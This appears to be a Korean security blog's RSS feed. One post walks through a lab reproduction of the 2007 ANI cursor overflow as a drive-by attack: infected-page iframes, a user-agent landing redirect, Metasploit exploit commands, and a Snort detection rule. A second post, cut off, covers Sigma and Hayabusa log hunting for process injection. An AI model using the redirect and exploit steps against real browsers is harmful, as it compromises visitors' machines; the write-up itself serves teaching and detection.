<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>멈출 수 없는 발전</title>
    <link>https://no-brake.tistory.com/</link>
    <description>브레이크 없이 지식 발전</description>
    <language>ko</language>
    <pubDate>Tue, 2 Jun 2026 23:06:17 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>no-brake</managingEditor>
    <item>
      <title>브라우저 익스플로잇</title>
      <link>https://no-brake.tistory.com/184</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;브라우저 익스플로잇&lt;/b&gt; : 웹&amp;nbsp;브라우저나&amp;nbsp;그&amp;nbsp;구성&amp;nbsp;요소(JavaScript&amp;nbsp;엔진&amp;nbsp;등)의&amp;nbsp;보안&amp;nbsp;취약점을&amp;nbsp;악용해&amp;nbsp;악성코드를&amp;nbsp;실행하거나&amp;nbsp;시스템을&amp;nbsp;장악하는&amp;nbsp;공격&amp;nbsp;기법&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[CVE-2007-0038(애니메이션 커서 원격 코드 실행 취약점) 개념]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;HTML 페이지 혹은 웹 페이즈를 통해 로드되는 애니메이션 커서 파일(.ANI)을 USER32.DLL 라이브러리의 함수에서 처리하는 과정에서 버퍼 오버플로우가 발생하는 취약점&lt;/li&gt;
&lt;li&gt;브라우저에서 도메인 URI를 통해 서버의 JS, HTML, CSS 같은 내용 전달 받음&lt;/li&gt;
&lt;li&gt;서버에서 .ani 파일을 브라우저에 전달해 커서 변경 가능&lt;/li&gt;
&lt;li&gt;브라우저는 USER32.dll을 이용해 마우스 커서 효과 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[.ANI 파일]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 페이지에서 로드&lt;/li&gt;
&lt;li&gt;멀티미디어 파일 포멧인 RIFF(Resource Interchange File Format) 포멧 기반으로 구성되어, &quot;RIFF&quot; 시그니처를 포함한 해더 시작&lt;/li&gt;
&lt;li&gt;가변 길이의 구획들인 청크(Chunk)로 다수 포함하고 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2844&quot; data-origin-height=&quot;1896&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/A95xj/dJMcaalaJQh/BgsUYapR5YXMPCLcbSd370/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/A95xj/dJMcaalaJQh/BgsUYapR5YXMPCLcbSd370/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/A95xj/dJMcaalaJQh/BgsUYapR5YXMPCLcbSd370/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FA95xj%2FdJMcaalaJQh%2FBgsUYapR5YXMPCLcbSd370%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2844&quot; height=&quot;1896&quot; data-origin-width=&quot;2844&quot; data-origin-height=&quot;1896&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[청크(Chunk) 파일 구조]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;tag, size, data 멤버로 구성&lt;/li&gt;
&lt;li&gt;tag, size 멤버는 4바이트&lt;/li&gt;
&lt;li&gt;data 멤버는 가변 크기&lt;/li&gt;
&lt;li&gt;tag : ascii으로 표현되며 seq, LIST, rate 또는 anih 등 값을 가짐&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2844&quot; data-origin-height=&quot;1896&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cCfAcE/dJMcabxCf7e/EBRVAtmIPU8k0GMHLKFP50/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cCfAcE/dJMcabxCf7e/EBRVAtmIPU8k0GMHLKFP50/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cCfAcE/dJMcabxCf7e/EBRVAtmIPU8k0GMHLKFP50/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcCfAcE%2FdJMcabxCf7e%2FEBRVAtmIPU8k0GMHLKFP50%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2844&quot; height=&quot;1896&quot; data-origin-width=&quot;2844&quot; data-origin-height=&quot;1896&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[ANI 파일 구조 분석]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1099&quot; data-origin-height=&quot;577&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GbaGV/dJMcahkncJZ/TITNTvo5KSKARXtxPuXHc1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GbaGV/dJMcahkncJZ/TITNTvo5KSKARXtxPuXHc1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GbaGV/dJMcahkncJZ/TITNTvo5KSKARXtxPuXHc1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGbaGV%2FdJMcahkncJZ%2FTITNTvo5KSKARXtxPuXHc1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1099&quot; height=&quot;577&quot; data-origin-width=&quot;1099&quot; data-origin-height=&quot;577&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;시그니처 RIFF&lt;/li&gt;
&lt;li&gt;File size : 0x00000CA0&lt;/li&gt;
&lt;li&gt;File type : ACON&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;669&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cETxG1/dJMcadhWs4A/CKsRk5rQFLikvVy2XOH6b0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cETxG1/dJMcadhWs4A/CKsRk5rQFLikvVy2XOH6b0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cETxG1/dJMcadhWs4A/CKsRk5rQFLikvVy2XOH6b0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcETxG1%2FdJMcadhWs4A%2FCKsRk5rQFLikvVy2XOH6b0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1279&quot; height=&quot;669&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;669&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;청크(Chunk) tag 멤버 : LIST, anih&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;673&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pv9Qq/dJMcafUmRIa/y8ADl0zdnKq5IxzeIkh7qk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pv9Qq/dJMcafUmRIa/y8ADl0zdnKq5IxzeIkh7qk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pv9Qq/dJMcafUmRIa/y8ADl0zdnKq5IxzeIkh7qk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fpv9Qq%2FdJMcafUmRIa%2Fy8ADl0zdnKq5IxzeIkh7qk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1279&quot; height=&quot;673&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;673&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;첫 번째 정크 크기 : 0x00000044&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;670&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oooZZ/dJMcafUmRIv/nckKdkjIVyxZKx1pzYkdrk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oooZZ/dJMcafUmRIv/nckKdkjIVyxZKx1pzYkdrk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oooZZ/dJMcafUmRIv/nckKdkjIVyxZKx1pzYkdrk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoooZZ%2FdJMcafUmRIv%2FnckKdkjIVyxZKx1pzYkdrk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;670&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;670&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;두 번째 정크 크기 : 0x00000024&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;671&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d2YkOf/dJMcaalaC8Y/9MexPSIVxu91hWELX6DCR0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d2YkOf/dJMcaalaC8Y/9MexPSIVxu91hWELX6DCR0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d2YkOf/dJMcaalaC8Y/9MexPSIVxu91hWELX6DCR0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd2YkOf%2FdJMcaalaC8Y%2F9MexPSIVxu91hWELX6DCR0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1279&quot; height=&quot;671&quot; data-origin-width=&quot;1279&quot; data-origin-height=&quot;671&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;세 번쨰 정크 크기 : 0x00000C1C&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[T1189(Drive-by Compromise) 개념]&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹 브라우저가 감염된 웹 사이트 방문시 악성코드 다운로드 또는 실행하여 통제 권한 탈취&lt;/li&gt;
&lt;/ul&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.1163%; text-align: center;&quot;&gt;구분&lt;/td&gt;
&lt;td style=&quot;width: 74.8837%; text-align: center;&quot;&gt;설명&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.1163%; text-align: center;&quot;&gt;감염된 웹사이트&lt;/td&gt;
&lt;td style=&quot;width: 74.8837%;&quot;&gt;공격자에 의해 해킹된 웹 서버&lt;br /&gt;웹사이트 코드를 수정해 랜딩 서버로 이동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.1163%; text-align: center;&quot;&gt;랜딩 서버&lt;/td&gt;
&lt;td style=&quot;width: 74.8837%;&quot;&gt;취약점 있는 브라우저 종류 및 버전 확인 후 익스플로잇/페이로드 배포 서버로 이동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 25.1163%; text-align: center;&quot;&gt;익스플로잇/페이로드 배포 서버&lt;/td&gt;
&lt;td style=&quot;width: 74.8837%;&quot;&gt;실제 공격이 이뤄지는 서버&lt;br /&gt;랜딩 서버에서 수집한 정보를 토대로 브라우저 취약점 공격 진행&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[공격]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;감염된 웹 페이지 코드&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1780303281692&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;html&amp;gt;
	&amp;lt;head&amp;gt;
    	&amp;lt;title&amp;gt; Test Page &amp;lt;/title&amp;gt;
    &amp;lt;/head&amp;gt;
	&amp;lt;body&amp;gt;
		Test Page... &amp;lt;br&amp;gt;
		Welcome!! &amp;lt;br&amp;gt;
		&amp;lt;!-- &amp;lt;iframe src=&quot;http://192.168.57.80/land.html&quot;&amp;gt;&amp;lt;/iframe&amp;gt; --&amp;gt;
        &amp;lt;!-- &amp;lt;iframe src=&quot;http://192.168.57.80/randgen.html&quot; width=0 height=0&amp;gt;&amp;lt;/iframe&amp;gt; --&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;iframe : 웹 페이지 내부에 다른 웹 페이지 삽입할 수 있게 해주는 HTML 태그로 현재 페이지 내에 다른 웹 페이지가 뜨게 함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;랜딩 페이지&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1780303535601&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;html&amp;gt;
	&amp;lt;meta http-equiv=&quot;cache-control&quot; content=&quot;no-cache&quot;&amp;gt;
    &amp;lt;meta http-equiv=&quot;expires&quot; content=&quot;-1&quot;&amp;gt;
    &amp;lt;head&amp;gt;&amp;lt;title&amp;gt; test page &amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
    &amp;lt;body&amp;gt;
		&amp;lt;script&amp;gt;
			alert (&quot;Landing Page!&quot;);
			var browser_ver = navigator.userAgent.toLowerCase(); 
    		alert (&quot;Your Browser Version:&quot; + browser_ver); 
    		if(browser_ver.index0f('msie 6.0')&amp;gt;0) { 
    			alert (&quot;Your Browser is vulnerable&quot;);
        		location.href= &quot;http://192.168.57.11&quot;;
     		} else { 
        		alert (&quot;Your Browser is not vulnerable&quot;);
			}
		&amp;lt;/script&amp;gt;
	&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;랜딩페이지 접속 성공시 : &quot;Landing Page!&quot; 팝업 발생&lt;/li&gt;
&lt;li&gt;browser_ver : userAgent 정보 저장&lt;/li&gt;
&lt;li&gt;if문을 통해 공격 가능한 취약 브라우저 여부 확인&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;취약 브라우저&lt;span&gt; 일시 악성 페이로드 전달하는 서버로 리다이렉션 함&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;악성 스크립트&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1780303781088&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
set SRVHOST 192.168.57.11
set SRVPORT 80
set PAYLOAD windows/exec
set CMD calc.exe
exploit&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;use ex~~~ : 2007년 ani 커서 파일 취약점 이용한 Exploit 모듈 이용&lt;/li&gt;
&lt;li&gt;set ~~ : 호스팅할 악성 웹 서버 IP 지정, 해당 주소 접속 시 Exploit 실행&lt;/li&gt;
&lt;li&gt;set : 웹 서버 포트 설정&lt;/li&gt;
&lt;li&gt;set : 익스플로잇 성공시 실행할 페이로드 종류&lt;/li&gt;
&lt;li&gt;set : 익스플로잇 성공시 실행할 명령어 지정&lt;/li&gt;
&lt;li&gt;exploit : 악성 파일 호스팅하는 웹서버 시작&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[분석]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ANI 파일의 ID는 &quot;anih&quot;이며 청크 사이즈는 0x24(36byte)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공격자는 ANI파일의 사이즈인 36byte보다 큰 데이터를 넣어 버퍼 오버플로우 발생&lt;/p&gt;
&lt;pre id=&quot;code_1780303916325&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;alert tcp any any -&amp;gt; any any (
	msg: &quot;BROWSER-IE MS IE ANI file parsing buffer overflow attempt&quot;;
	flow: to client, established;
	file_data;
	content: &quot;RIFF&quot;; depth: 4;
	content: &quot;ACON&quot;; within: 4; distance: 4;
	content: &quot;anih&quot;; distance: 0; nocase;
	byte_test: 4, &amp;gt;, 36, 0, relative, little;
    sid: 3079; rev:21;
)&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&amp;nbsp;: 모든 TCP 트래픽 감시하고, 공격 발생 시 알림 발생&lt;/li&gt;
&lt;li&gt;&amp;nbsp;: 파일 내용 기준으로 검사 시작&lt;/li&gt;
&lt;li&gt;&amp;nbsp;: 파일 처음 4바이트가 &quot;RIFF&quot; 여부 확인&lt;/li&gt;
&lt;li&gt;&amp;nbsp;: &quot;RIFF&quot;로부터 4바이트 이후 &quot;ACON&quot; 여부 확인&lt;/li&gt;
&lt;li&gt;&amp;nbsp;: &quot;ACON&quot; 이후 바로 &quot;anih&quot;가 있는지&lt;/li&gt;
&lt;li&gt;&amp;nbsp;: 현재 위치로부터 4바이트 읽고, little-endian 해석시 값이 36보다 크면 탐지&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;714&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ujDdW/dJMcai4xcHl/xXswgiZQfJsk13b8BZi0Uk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ujDdW/dJMcai4xcHl/xXswgiZQfJsk13b8BZi0Uk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ujDdW/dJMcai4xcHl/xXswgiZQfJsk13b8BZi0Uk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FujDdW%2FdJMcai4xcHl%2FxXswgiZQfJsk13b8BZi0Uk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1280&quot; height=&quot;714&quot; data-origin-width=&quot;1280&quot; data-origin-height=&quot;714&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>보안/보안 개념</category>
      <author>no-brake</author>
      <guid isPermaLink="true">https://no-brake.tistory.com/184</guid>
      <comments>https://no-brake.tistory.com/184#entry184comment</comments>
      <pubDate>Mon, 1 Jun 2026 17:25:45 +0900</pubDate>
    </item>
    <item>
      <title>프로세스 인젝션 이벤트 탐지</title>
      <link>https://no-brake.tistory.com/183</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[시그마 룰]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1276&quot; data-origin-height=&quot;324&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Kp2fN/dJMcajh3ta7/q9OUCn2PPe060RnYfwUkJk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Kp2fN/dJMcajh3ta7/q9OUCn2PPe060RnYfwUkJk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Kp2fN/dJMcajh3ta7/q9OUCn2PPe060RnYfwUkJk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKp2fN%2FdJMcajh3ta7%2Fq9OUCn2PPe060RnYfwUkJk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1276&quot; height=&quot;324&quot; data-origin-width=&quot;1276&quot; data-origin-height=&quot;324&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[HAYABUSA 툴 이용해 SYSMON 로그파일 조사]&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1779855487009&quot; class=&quot;lisp&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;(현재 디렉토리 위치)&amp;gt; (HAYABUSA 툴 경로) csv-timeline -r (룰 디렉토리 위치) -d (sysmon 로그 디렉토리 위치) -C -o (저장할 결과파일명)&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;csv-timeline : CSV 형식의 시간순으로 정렬&lt;/li&gt;
&lt;li&gt;-C -o (저장할 결과파일명) : 이미 저장할 결과 파일 존재시 덮어쓰기&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[실행 결과]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1237&quot; data-origin-height=&quot;549&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oL1uu/dJMcadPDCQe/QF82gP7L0x4jgrS5R6FfDK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oL1uu/dJMcadPDCQe/QF82gP7L0x4jgrS5R6FfDK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oL1uu/dJMcadPDCQe/QF82gP7L0x4jgrS5R6FfDK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoL1uu%2FdJMcadPDCQe%2FQF82gP7L0x4jgrS5R6FfDK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1237&quot; height=&quot;549&quot; data-origin-width=&quot;1237&quot; data-origin-height=&quot;549&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;총 9,617개 이벤트 로그 중, 작성한 시그마룰 기준 총 35개의 이벤트 탐지&lt;/li&gt;
&lt;li&gt;DESKTOP-9SCSJHC, IEWIN7, DESKTOP-PIU87N6 &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;단말&lt;span&gt;&lt;span&gt;&lt;span&gt; &lt;/span&gt;3&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;대 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;[Timeline Explorer 툴로 결과 파일 확인]&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock widthContent&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1177&quot; data-origin-height=&quot;203&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ia1wY/dJMcaiKbZcD/WbgM5w4TmQWwDcQ31uJqnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ia1wY/dJMcaiKbZcD/WbgM5w4TmQWwDcQ31uJqnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ia1wY/dJMcaiKbZcD/WbgM5w4TmQWwDcQ31uJqnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FIa1wY%2FdJMcaiKbZcD%2FWbgM5w4TmQWwDcQ31uJqnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; 